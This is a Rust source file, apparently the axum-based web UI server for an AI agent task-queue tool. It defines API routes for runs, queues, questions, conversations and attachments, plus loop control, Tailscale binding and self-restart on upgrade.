1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, git, report, repos, run, talk, updater};
125
126pub const DEFAULT_PORT: u16 = 7878;
128
129const POLL: Duration = Duration::from_secs(1);
131
132const KEEPALIVE: Duration = Duration::from_secs(15);
136
137const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153const LIST_DEFAULT: usize = 50;
157const LIST_MAX: usize = 500;
159
160const TITLE_MAX: usize = 72;
162
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180const FILENAME_HEADER: &str = "x-filename";
184
185const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208 font-src data:; base-uri 'none'; form-action 'none'; \
209 frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218 Auto,
220 Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225 type Err = String;
226
227 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231 if s.eq_ignore_ascii_case("auto") {
232 return Ok(Self::Auto);
233 }
234 s.parse()
235 .map(Self::Addr)
236 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237 }
238}
239
240impl std::fmt::Display for Bind {
241 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242 match self {
243 Self::Auto => f.write_str("auto"),
244 Self::Addr(addr) => write!(f, "{addr}"),
245 }
246 }
247}
248
249#[derive(Debug, Clone)]
251pub struct Opts {
252 pub bind: Bind,
254 pub port: u16,
256 pub repo: PathBuf,
258 pub open: bool,
261 pub merge: Option<String>,
269}
270
271impl Default for Opts {
272 fn default() -> Self {
273 Self {
274 bind: Bind::Auto,
275 port: DEFAULT_PORT,
276 repo: PathBuf::from("."),
277 open: false,
278 merge: None,
279 }
280 }
281}
282
283#[derive(Debug, Clone)]
289pub struct Ui {
290 queue: Queue,
291 questions: Questions,
292 talks: Talks,
293 runs: PathBuf,
294 home: PathBuf,
295 repo: PathBuf,
296 worktrees_root: PathBuf,
303 talk_turns: Arc<Mutex<TalkTurns>>,
311 resuming: Arc<Mutex<HashSet<String>>>,
319 repos_cache: repos::Cache,
323 merge: Option<String>,
325 looping: Arc<Mutex<LoopState>>,
327 launch: Launch,
339 #[cfg(test)]
342 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
343}
344
345#[cfg(test)]
365struct BusyQueueGate {
366 reached: tokio::sync::oneshot::Sender<()>,
367 release: std::sync::mpsc::Receiver<()>,
368}
369
370#[cfg(test)]
371impl std::fmt::Debug for BusyQueueGate {
372 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
373 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
374 }
375}
376
377impl Ui {
378 pub fn new(
380 queue: Queue,
381 questions: Questions,
382 talks: Talks,
383 runs: PathBuf,
384 home: PathBuf,
385 repo: PathBuf,
386 ) -> Self {
387 Self {
388 queue,
389 questions,
390 talks,
391 runs,
392 home,
393 repo,
394 worktrees_root: run::default_worktree_root(),
398 talk_turns: Arc::default(),
399 resuming: Arc::default(),
400 repos_cache: repos::Cache::new(),
401 merge: None,
402 looping: Arc::default(),
403 launch: launch_daemon,
404 #[cfg(test)]
405 busy_queue_gate: Arc::default(),
406 }
407 }
408
409 pub fn open(repo: PathBuf) -> Self {
412 Self::new(
413 Queue::open(),
414 Questions::open(),
415 Talks::open(),
416 run::runs_root(),
417 run::home(),
418 repo,
419 )
420 }
421
422 #[must_use]
429 pub fn with_merge(mut self, merge: Option<String>) -> Self {
430 self.merge = merge;
431 self
432 }
433
434 #[must_use]
439 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
440 self.worktrees_root = root;
441 self
442 }
443
444 #[cfg(test)]
449 #[must_use]
450 fn with_launch(mut self, launch: Launch) -> Self {
451 self.launch = launch;
452 self
453 }
454
455 #[cfg(test)]
465 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
466 *self
467 .busy_queue_gate
468 .lock()
469 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
470 }
471
472 fn looping(&self) -> Arc<Mutex<LoopState>> {
474 Arc::clone(&self.looping)
475 }
476
477 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
484 if let Some(other) = foreign {
485 return Err(ApiError::conflict(format!(
486 "{} is already running the loop, so this one will not start a \
487 second: two loops on one queue race for the same claims and \
488 burn the agent quota twice over. Stop it where it was \
489 started.",
490 other.who()
491 )));
492 }
493 let mut state = self.lock_loop();
494 if state.live.as_ref().is_some_and(Live::alive) {
495 return Err(ApiError::conflict(format!(
496 "this magi web process (pid {}) is already running the loop",
497 std::process::id()
498 )));
499 }
500
501 let stop = daemon::Stop::new();
502 let opts = daemon::Opts {
506 repo: self.repo.clone(),
507 merge: self.merge.clone(),
508 worktrees_root: Some(self.worktrees_root.clone()),
515 ..daemon::Opts::default()
516 };
517 let launch = self.launch;
518 let looping = Arc::clone(&self.looping);
519 let handle = tokio::spawn({
520 let opts = opts.clone();
521 let stop = stop.clone();
522 async move {
523 let failure = match launch(opts, stop).await {
524 Ok(()) => None,
525 Err(e) => Some(format!("{e:#}")),
526 };
527 match &failure {
528 Some(why) => tracing::error!("the loop stopped: {why}"),
529 None => tracing::info!("the loop stopped"),
530 }
531 let mut state = lock_or_recover(&looping);
537 state.live = None;
538 state.last_error = failure;
539 state.rev += 1;
540 }
541 });
542 tracing::info!(
543 "the loop is now running in this process: repo {}, merge {}",
544 opts.repo.display(),
545 opts.merge.as_deref().unwrap_or("as the config says")
546 );
547 state.live = Some(Live { stop, handle, opts });
548 state.last_error = None;
551 state.rev += 1;
552 Ok(())
553 }
554
555 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
561 if let Some(other) = foreign {
562 return Err(ApiError::conflict(format!(
563 "the loop belongs to {}, and this process cannot stop it - \
564 stop it where it was started. A button that silently did \
565 nothing would be worse than this refusal.",
566 other.who()
567 )));
568 }
569 let mut state = self.lock_loop();
570 let Some(live) = state.live.as_ref() else {
571 return Ok(());
572 };
573 if live.stop.stopped() && (!park || live.stop.parking()) {
577 return Ok(());
578 }
579 if park {
580 live.stop.park();
581 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
582 } else {
583 live.stop.stop();
584 tracing::info!("the loop was asked to stop; a run in flight is finished first");
585 }
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
597 let state = self.lock_loop();
598 let live = state.live.as_ref().filter(|live| live.alive());
601 LoopView {
602 running: live.is_some(),
603 stopping: live.is_some_and(|live| live.stop.finishing()),
604 parking: live.is_some_and(|live| live.stop.parking()),
605 owned: live.is_some(),
606 repo: live
607 .map_or(&self.repo, |live| &live.opts.repo)
608 .display()
609 .to_string(),
610 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
611 last_error: state.last_error.clone(),
612 daemon: DaemonView::of(reading),
613 }
614 }
615
616 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
618 lock_or_recover(&self.looping)
619 }
620
621 fn is_thinking(&self, id: &str) -> bool {
627 self.talk_turns
628 .lock()
629 .is_ok_and(|turns| turns.live.contains(id))
630 }
631
632 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
651 self.claim_talk_turn(id, false)
652 }
653
654 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
657 self.claim_talk_turn(id, true)
658 }
659
660 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
661 let mut live = self
662 .talk_turns
663 .lock()
664 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
665 if !live.live.insert(id.to_owned()) {
666 if queued {
667 *live.queued.entry(id.to_owned()).or_default() += 1;
672 }
673 return Ok(None);
674 }
675 Ok(Some(TalkTurnGuard {
676 talk: id.to_owned(),
677 turns: Arc::clone(&self.talk_turns),
678 released: false,
679 }))
680 }
681
682 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
687 let mut live = self
688 .talk_turns
689 .lock()
690 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
691 if live.live.contains(id) {
692 return Ok(TalkTurnStart::Busy);
693 }
694 let talk = self.talks.get(id).map_err(ApiError::from)?;
695 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
696 return Ok(TalkTurnStart::Pending);
697 }
698 live.live.insert(id.to_owned());
699 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
700 talk: id.to_owned(),
701 turns: Arc::clone(&self.talk_turns),
702 released: false,
703 }))
704 }
705
706 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
713 let parking = {
714 let mut state = self.lock_loop();
715 let Some(live) = state.live.as_ref() else {
716 return Ok(None);
717 };
718 let busy = live.stop.busy_now();
719 live.stop.park();
720 state.rev += 1;
721 busy
722 };
723 Ok(if parking {
724 daemon::current_work(&self.home, jiff::Timestamp::now())
729 .into_iter()
730 .next()
731 .map(|c| c.run)
732 } else {
733 None
734 })
735 }
736
737 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
741 let mut live = self
742 .resuming
743 .lock()
744 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
745 if !live.insert(id.to_owned()) {
746 return Err(ApiError::conflict(format!(
747 "run {id} is already being resumed"
748 )));
749 }
750 Ok(ResumeGuard {
751 run: id.to_owned(),
752 resuming: Arc::clone(&self.resuming),
753 })
754 }
755
756 pub fn router(self) -> Router {
764 Router::new()
765 .route("/", get(index))
766 .route("/app.css", get(app_css))
767 .route("/app.js", get(app_js))
768 .route("/api/health", get(health))
769 .route("/api/loop", get(loop_get).post(loop_post))
770 .route("/api/upgrade", post(upgrade_post))
771 .route("/api/runs", get(runs_list))
772 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
773 .route("/api/runs/{id}/report", get(run_report))
774 .route("/api/runs/{id}/fold", post(run_fold))
775 .route("/api/runs/{id}/resume", post(run_resume))
776 .route("/api/queue", get(queue_list))
777 .route("/api/queue/{id}", delete(queue_delete))
778 .route("/api/repos", get(repos_list))
779 .route("/api/queue/{id}/hold", post(queue_hold))
780 .route("/api/queue/{id}/release", post(queue_release))
781 .route("/api/queue/{id}/priority", post(queue_priority))
782 .route("/api/queue/{id}/edit", post(queue_edit))
783 .route("/api/queue/{id}/done", post(queue_done))
784 .route("/api/questions", get(questions_list))
785 .route("/api/questions/{id}/answer", post(question_answer))
786 .route("/api/questions/{id}/say", post(question_say))
787 .route("/api/questions/{id}/panel", get(question_panel))
788 .route("/api/questions/{id}/panel/index.html", get(question_panel))
796 .route("/api/questions/{id}/panel/{name}", get(question_asset))
797 .route("/api/questions/{id}/asset/{name}", get(question_asset))
798 .route("/api/talks", get(talks_list).post(talk_post))
799 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
800 .route("/api/talks/{id}/say", post(talk_say))
801 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
802 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
803 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
804 .route("/api/talks/{id}/close", post(talk_close))
805 .route("/api/talks/{id}/reopen", post(talk_reopen))
806 .route(
812 "/api/talks/{id}/attachments",
813 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
814 )
815 .route(
816 "/api/talks/{id}/attachments/{att}",
817 get(talk_attachment_get),
818 )
819 .route("/api/events", get(events))
820 .with_state(Arc::new(self))
821 }
822}
823
824#[derive(Debug)]
830struct TalkTurnGuard {
831 talk: String,
832 turns: Arc<Mutex<TalkTurns>>,
833 released: bool,
834}
835
836#[derive(Debug, Default)]
843struct TalkTurns {
844 live: HashSet<String>,
845 queued: HashMap<String, u64>,
846}
847
848enum TalkTurnStart {
851 Claimed(TalkTurnGuard),
852 Busy,
853 Pending,
854}
855
856impl TalkTurnGuard {
857 fn release(mut self, live: &mut TalkTurns) {
860 live.live.remove(&self.talk);
861 live.queued.remove(&self.talk);
862 self.released = true;
863 }
864}
865
866impl Drop for TalkTurnGuard {
867 fn drop(&mut self) {
868 if self.released {
869 return;
870 }
871 if let Ok(mut live) = self.turns.lock() {
872 live.live.remove(&self.talk);
873 live.queued.remove(&self.talk);
874 }
875 }
876}
877
878struct ResumeGuard {
880 run: String,
881 resuming: Arc<Mutex<HashSet<String>>>,
882}
883
884impl Drop for ResumeGuard {
885 fn drop(&mut self) {
886 if let Ok(mut live) = self.resuming.lock() {
887 live.remove(&self.run);
888 }
889 }
890}
891
892async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
902 const WINDOW: Duration = Duration::from_secs(10);
903 const GAP: Duration = Duration::from_millis(250);
904
905 let deadline = std::time::Instant::now() + WINDOW;
906 let mut said = false;
907 loop {
908 match tokio::net::TcpListener::bind(socket).await {
909 Ok(listener) => return Ok(listener),
910 Err(e)
911 if e.kind() == std::io::ErrorKind::AddrInUse
912 && std::time::Instant::now() < deadline =>
913 {
914 if !said {
915 said = true;
916 tracing::info!(
917 "{socket} is still held - waiting up to {}s for it, \
918 which is what a restart looks like from here",
919 WINDOW.as_secs()
920 );
921 }
922 tokio::time::sleep(GAP).await;
923 }
924 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
925 }
926 }
927}
928
929static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
932
933fn spawn_successor() -> Result<()> {
945 let exe = std::env::current_exe().context("find this binary")?;
946 let args: Vec<String> = std::env::args().skip(1).collect();
947 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
948
949 let mut cmd = std::process::Command::new(&exe);
950 cmd.args(&args)
951 .stdin(std::process::Stdio::null())
952 .stdout(std::process::Stdio::null())
953 .stderr(std::process::Stdio::null());
954 #[cfg(windows)]
955 {
956 use std::os::windows::process::CommandExt as _;
957 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
960 }
961 cmd.spawn().context("start the successor")?;
962 Ok(())
963}
964
965pub async fn serve(opts: Opts) -> Result<()> {
990 let (addr, warning) = resolve_bind(&opts.bind);
991 if let Some(warning) = warning {
992 tracing::warn!("{warning}");
993 }
994
995 report::set_color(false);
1001
1002 let repo = normalize_default_repo(opts.repo).await;
1003 let ui = Ui::open(repo).with_merge(opts.merge);
1004 let home = ui.home.clone();
1009 let repo = ui.repo.clone();
1010 updater::reconcile_after_restart(&home);
1015 tokio::spawn(run_update_recheck(repo, home.clone()));
1024 let looping = ui.looping();
1025 let socket = SocketAddr::new(addr, opts.port);
1026 let listener = bind_waiting(socket).await?;
1027 let url = format!("http://{addr}:{}", opts.port);
1028 tracing::info!(
1029 "magi web UI on {url} - there is no authentication, so anyone who can \
1030 reach this address can file and hold tasks: the tailnet is the \
1031 security boundary"
1032 );
1033 tracing::info!(
1034 "the queue loop is not running yet - start it from the UI, which is \
1035 the whole reason this process can: nothing in the queue moves until \
1036 something is running the loop"
1037 );
1038 if opts.open {
1039 println!("{url}");
1043 }
1044
1045 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1048 let interrupted = async {
1049 if tokio::signal::ctrl_c().await.is_err() {
1050 std::future::pending::<()>().await;
1055 }
1056 };
1057 let handover = HANDOVER.notified();
1058 tokio::select! {
1059 joined = &mut served => match joined {
1060 Ok(outcome) => outcome.context("serve the web UI"),
1061 Err(e) => Err(e).context("the task serving the web UI ended"),
1062 },
1063 () = interrupted => {
1064 tracing::info!("shutting down the web UI");
1065 finish_loop(&looping).await;
1066 Ok(())
1067 }
1068 () = handover => {
1069 tracing::info!("upgraded - handing this address to the successor");
1070 hand_over(&home, &looping, served, spawn_successor).await
1071 }
1072 }
1073}
1074
1075async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1096 if repo != FsPath::new(".") {
1097 return repo;
1098 }
1099 let Ok(canonical) = repo.canonicalize() else {
1100 return repo;
1101 };
1102 if git::toplevel(&canonical).await.is_ok() {
1103 return repo;
1104 }
1105 let Some(home) = dirs::home_dir() else {
1106 return repo;
1107 };
1108 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1109 Some(found) => {
1110 tracing::info!(
1111 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1112 canonical.display(),
1113 found.path.display(),
1114 found.reason,
1115 );
1116 found.path
1117 }
1118 None => repo,
1119 }
1120}
1121
1122async fn hand_over(
1150 home: &FsPath,
1151 looping: &Mutex<LoopState>,
1152 served: tokio::task::JoinHandle<std::io::Result<()>>,
1153 successor: impl FnOnce() -> Result<()>,
1154) -> Result<()> {
1155 if let Some(mut progress) = updater::read_progress(home) {
1156 progress.advance(updater::Stage::Parking);
1157 let _ = updater::write_progress(home, &progress);
1158 }
1159 finish_loop(looping).await;
1160 served.abort();
1161 let _ = served.await;
1162 if let Some(mut progress) = updater::read_progress(home) {
1163 progress.advance(updater::Stage::Restarting);
1164 let _ = updater::write_progress(home, &progress);
1165 }
1166 successor()
1167}
1168
1169async fn finish_loop(state: &Mutex<LoopState>) {
1176 let live = lock_or_recover(state).live.take();
1177 let Some(live) = live else { return };
1178 live.stop.stop();
1179 lock_or_recover(state).rev += 1;
1180 tracing::info!("waiting for the loop to finish the run in flight");
1181 let _ = live.handle.await;
1184}
1185
1186pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1192 match bind {
1193 Bind::Addr(addr) => (*addr, None),
1194 Bind::Auto => match tailscale_ip() {
1195 Ok(ip) => (IpAddr::V4(ip), None),
1196 Err(why) => (
1197 IpAddr::V4(Ipv4Addr::LOCALHOST),
1198 Some(format!(
1199 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1200 local-only and a phone cannot reach it; start Tailscale \
1201 or pass --bind <addr>"
1202 )),
1203 ),
1204 },
1205 }
1206}
1207
1208fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1216 let out = std::process::Command::new("tailscale")
1217 .args(["ip", "-4"])
1218 .quiet()
1219 .output()
1220 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1221 if !out.status.success() {
1222 let why = String::from_utf8_lossy(&out.stderr);
1223 let why = why.trim();
1224 return Err(format!(
1225 "`tailscale ip -4` failed ({}){}",
1226 out.status,
1227 if why.is_empty() {
1228 String::new()
1229 } else {
1230 format!(": {why}")
1231 }
1232 ));
1233 }
1234 String::from_utf8_lossy(&out.stdout)
1235 .lines()
1236 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1237 .find(is_tailnet)
1238 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1239}
1240
1241fn is_tailnet(ip: &Ipv4Addr) -> bool {
1243 let o = ip.octets();
1244 o[0] == 100 && (64..=127).contains(&o[1])
1245}
1246
1247type ApiResult<T> = std::result::Result<T, ApiError>;
1251
1252#[derive(Debug)]
1254struct ApiError {
1255 status: StatusCode,
1256 message: String,
1257}
1258
1259impl ApiError {
1260 fn bad_request(message: impl Into<String>) -> Self {
1262 Self {
1263 status: StatusCode::BAD_REQUEST,
1264 message: message.into(),
1265 }
1266 }
1267
1268 fn not_found(message: impl Into<String>) -> Self {
1270 Self {
1271 status: StatusCode::NOT_FOUND,
1272 message: message.into(),
1273 }
1274 }
1275
1276 fn with_status(mut self, status: StatusCode) -> Self {
1279 self.status = status;
1280 self
1281 }
1282
1283 fn bad_request_from(e: anyhow::Error) -> Self {
1287 Self::bad_request(format!("{e:#}"))
1288 }
1289
1290 fn conflict(message: impl Into<String>) -> Self {
1291 Self {
1292 status: StatusCode::CONFLICT,
1293 message: message.into(),
1294 }
1295 }
1296
1297 fn internal(message: impl Into<String>) -> Self {
1299 Self {
1300 status: StatusCode::INTERNAL_SERVER_ERROR,
1301 message: message.into(),
1302 }
1303 }
1304}
1305
1306impl From<anyhow::Error> for ApiError {
1307 fn from(e: anyhow::Error) -> Self {
1312 Self::internal(format!("{e:#}"))
1313 }
1314}
1315
1316impl IntoResponse for ApiError {
1317 fn into_response(self) -> Response {
1318 let body = serde_json::json!({ "error": self.message });
1319 (self.status, Json(body)).into_response()
1320 }
1321}
1322
1323async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1332where
1333 T: Send + 'static,
1334{
1335 match tokio::task::spawn_blocking(job).await {
1336 Ok(result) => result,
1337 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1338 }
1339}
1340
1341const ASSET_CACHE: &str = "no-cache, must-revalidate";
1359
1360fn asset_etag() -> &'static str {
1367 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1368 format!(
1369 "\"{}-{}\"",
1370 env!("CARGO_PKG_VERSION"),
1371 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1376 )
1377 });
1378 &TAG
1379}
1380
1381fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1383 [
1384 (header::CONTENT_TYPE, mime),
1385 (header::CACHE_CONTROL, ASSET_CACHE),
1386 (header::ETAG, asset_etag()),
1387 ]
1388}
1389
1390fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1398 let tag = asset_etag();
1399 let known = headers
1400 .get(header::IF_NONE_MATCH)
1401 .and_then(|v| v.to_str().ok())
1402 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1406 if known {
1407 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1408 }
1409 (asset_headers(mime), body).into_response()
1410}
1411
1412async fn index(headers: header::HeaderMap) -> Response {
1413 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1414}
1415
1416async fn app_css(headers: header::HeaderMap) -> Response {
1417 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1418}
1419
1420async fn app_js(headers: header::HeaderMap) -> Response {
1421 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1422}
1423
1424#[derive(Debug, Serialize)]
1426struct HealthView {
1427 version: &'static str,
1428 home: String,
1429 queue_rev: u64,
1430 runs_rev: u64,
1431 questions_rev: u64,
1443 talks_rev: u64,
1445 loop_rev: u64,
1450 runs_unreadable: usize,
1458 disk: DiskView,
1466 questions_open: usize,
1472 questions_needs_owner: usize,
1482 daemon: DaemonView,
1483 #[serde(rename = "loop")]
1489 looping: LoopView,
1490 update: UpdateView,
1497 upgrade: Option<UpgradeProgressView>,
1501}
1502
1503#[derive(Debug, Serialize)]
1510struct UpdateView {
1511 available: bool,
1513 to: Option<String>,
1515}
1516
1517#[derive(Debug, Serialize)]
1519struct UpgradeProgressView {
1520 stage: updater::Stage,
1521 from: String,
1522 to: Option<String>,
1523 waiting_on: Option<String>,
1526 started_at: Timestamp,
1527 updated_at: Timestamp,
1528 detail: Option<String>,
1529}
1530
1531fn should_spawn_recheck(cfg: &Update) -> bool {
1538 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1539}
1540
1541fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1553 if progress.is_some_and(|p| !p.stage.terminal()) {
1554 return false;
1555 }
1556 checker.should_check()
1557}
1558
1559fn recheck_poll_period(cfg: &Update) -> Duration {
1572 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1573}
1574
1575async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1599 loop {
1600 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1601 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1602 if !should_spawn_recheck(&cfg.update) {
1603 continue;
1604 }
1605 let Some(checker) = updater::Checker::new(&cfg.update) else {
1606 continue;
1607 };
1608 let progress = updater::read_progress(&home);
1609 if !update_recheck_due(&checker, progress.as_ref()) {
1610 continue;
1611 }
1612 if let Err(e) = checker.newer_release().await {
1613 tracing::warn!("background update recheck failed: {e:#}");
1614 }
1615 }
1616}
1617
1618fn cached_update_view(repo: &FsPath) -> UpdateView {
1624 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1625 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1626 match latest {
1627 Some(latest) => UpdateView {
1628 available: true,
1629 to: Some(latest.tag_name),
1630 },
1631 None => UpdateView {
1632 available: false,
1633 to: None,
1634 },
1635 }
1636}
1637
1638fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1644 let waiting_on = (progress.stage == updater::Stage::Parking)
1645 .then_some(progress.parked_run.as_deref())
1646 .flatten()
1647 .and_then(|id| read_run(&ui.runs, id).ok())
1648 .map(|run| {
1649 format!(
1650 "run {} is finishing {} before the address is handed over",
1651 run.short(),
1652 run.status.as_str()
1653 )
1654 });
1655 UpgradeProgressView {
1656 stage: progress.stage,
1657 from: progress.from,
1658 to: progress.to,
1659 waiting_on,
1660 started_at: progress.started_at,
1661 updated_at: progress.updated_at,
1662 detail: progress.detail,
1663 }
1664}
1665
1666#[derive(Debug, Serialize)]
1671struct DiskView {
1672 #[serde(skip_serializing_if = "Option::is_none")]
1674 free_bytes: Option<u64>,
1675 runs_bytes: u64,
1677 worktrees_bytes: u64,
1679 #[serde(skip_serializing_if = "Option::is_none")]
1681 cache_bytes: Option<u64>,
1682}
1683
1684impl DiskView {
1685 fn of(ui: &Ui) -> Self {
1687 let cache_bytes = Config::discover(&ui.repo, None)
1688 .ok()
1689 .and_then(|(cfg, _)| cfg.cache_dir())
1690 .map(|dir| crate::disk::dir_size(&dir));
1691 Self {
1692 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1693 runs_bytes: crate::disk::dir_size(&ui.runs),
1694 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1695 cache_bytes,
1696 }
1697 }
1698}
1699
1700#[derive(Debug, Serialize)]
1702struct DaemonView {
1703 running: bool,
1704 idle: Option<bool>,
1705 pid: Option<u32>,
1706 current: Vec<daemon::Current>,
1710 completed: Option<u64>,
1711 stale_for_secs: Option<i64>,
1712}
1713
1714impl DaemonView {
1715 fn of(status: Option<daemon::Reading>) -> Self {
1719 let Some(status) = status else {
1720 return Self {
1721 running: false,
1722 idle: None,
1723 pid: None,
1724 current: Vec::new(),
1725 completed: None,
1726 stale_for_secs: None,
1727 };
1728 };
1729 let now = Timestamp::now();
1730 let age = status.age_secs(now);
1731 Self {
1732 running: status.running(now),
1733 idle: Some(status.idle),
1734 pid: status.pid,
1735 current: status.current,
1736 completed: Some(status.completed),
1737 stale_for_secs: age,
1738 }
1739 }
1740}
1741
1742async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1743 blocking(move || {
1744 let reading = daemon::read_status(&ui.home);
1748 let loop_rev = ui.lock_loop().rev;
1752 let update = cached_update_view(&ui.repo);
1753 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1754 Ok(Json(HealthView {
1755 version: env!("CARGO_PKG_VERSION"),
1756 home: ui.home.display().to_string(),
1757 queue_rev: ui.queue.revision(),
1758 runs_rev: runs_revision(&ui.runs),
1759 questions_rev: ui.questions.revision(),
1760 talks_rev: ui.talks.revision(),
1761 loop_rev,
1762 runs_unreadable: runs_unreadable(&ui.runs),
1763 questions_open: ui.questions.count_open(),
1764 questions_needs_owner: ui.questions.count_needs_owner(),
1765 daemon: DaemonView::of(reading.clone()),
1766 looping: ui.loop_view(reading),
1767 disk: DiskView::of(&ui),
1768 update,
1769 upgrade,
1770 }))
1771 })
1772 .await
1773}
1774
1775#[derive(Debug, Serialize)]
1777struct LoopView {
1778 running: bool,
1780 stopping: bool,
1788 parking: bool,
1796 owned: bool,
1804 repo: String,
1807 merge: Option<String>,
1810 last_error: Option<String>,
1818 daemon: DaemonView,
1821}
1822
1823#[derive(Debug, Clone, Copy)]
1832struct Foreign {
1833 pid: Option<u32>,
1835}
1836
1837impl Foreign {
1838 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1841 let reading = reading?;
1842 if !reading.running(Timestamp::now()) {
1843 return None;
1844 }
1845 match reading.pid {
1846 Some(pid) if pid == std::process::id() => None,
1847 pid => Some(Self { pid }),
1851 }
1852 }
1853
1854 fn who(&self) -> String {
1857 match self.pid {
